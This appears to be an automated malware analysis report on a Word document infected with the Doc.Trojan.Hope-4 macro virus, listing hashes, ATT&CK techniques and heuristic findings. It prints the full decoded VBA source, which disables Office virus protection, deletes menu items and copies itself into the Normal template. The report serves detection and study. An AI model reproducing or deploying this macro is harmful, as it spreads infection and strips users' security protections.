Office (OLE) malware analysis — malicious · 4737d5a615f90565

MALICIOUS

Office (OLE)

46.0 KB Created: 2014-11-24 02:55:00 Authoring application: Microsoft Office Word First seen: 2015-09-18

MD5: 07136fe9e9f6c8b9aa7dd81ac57975ca SHA-1: f0bf4de2be45e2184a0bbca09f1e119c200b801c SHA-256: 4737d5a615f9056505b2f38b3c3bb4b3eff1a20d6b2c96051c2690ab33a066d3

210 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample contains VBA macros that attempt to disable security features like 'ConfirmConversions', 'SaveNormalPrompt', and 'VirusProtection'. The Document_Open macro then deletes its own code from the ActiveDocument and NormalTemplate, and subsequently adds the code from the 'ThisDocument' module, effectively replicating itself. This self-replication behavior, combined with the ClamAV detection of 'Doc.Trojan.Hope-4', indicates a malicious intent to spread and potentially evade detection. The document body text discusses corporate culture and efficiency, which is likely a lure to disguise the malicious macro functionality.

Heuristics 5

ClamAV: Doc.Trojan.Hope-4 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Hope-4
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
AD.DeleteLines 1, AD.CountOfLines: AD.AddFromString MC
```
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_Open(): Document_Close: End Sub
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1791 bytes
SHA-256: `927025a53e71a1ca8f0b3681334db028cfa643af70f5b656f0ef183f7816d6ee`
Detection ClamAV: Doc.Trojan.Hope-4 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open(): Document_Close: End Sub 'withered rope you hang what's empty can't remain to put it simply Private Sub Document_Close(): On Error Resume Next 'in time cry the hollow words to sing with false disguise smothered Options.ConfirmConversions = (0 - 0): Options.SaveNormalPrompt = (1 - 1): Options.VirusProtection = (2 - 2) 'hope fly from sorrow for a new divine tomorrow i just don't want CommandBars("Tools").Controls("Macro").Delete: CommandBars("Tools").Controls("Options...").Delete 'to know anymore life shifts up and down everybody knows it's wrong Set CM = MacroContainer.VBProject.VBComponents.Item(1).CodeModule 'why don't you care? now do it seem fair? it's not in the rhyme or Set AD = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule 'reason so it goes with every season crawl to top fall through Set NT = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule 'bottom first hand love is really rotten slice of life find what's MC = CM.Lines(1, CM.CountOfLines) 'plenty inch towards a sanctuary light with me inside the womb i AD.DeleteLines 1, AD.CountOfLines: AD.AddFromString MC 'know everyone everybody knows it's me it's my voice, my voice NT.DeleteLines 1, NT.CountOfLines: NT.AddFromString MC 'cries out obscenity sightless eye regard my past sometimes it ActiveDocument.SaveAs FileName:=ActiveDocument.FullName 'should i just don't want to know anymore. End Sub 'NoHope~By~Lys~KovicK Lyrics From Smothered Hope(Skinny Puppy)

Open this report in the interactive analyzer, or submit your own file for analysis.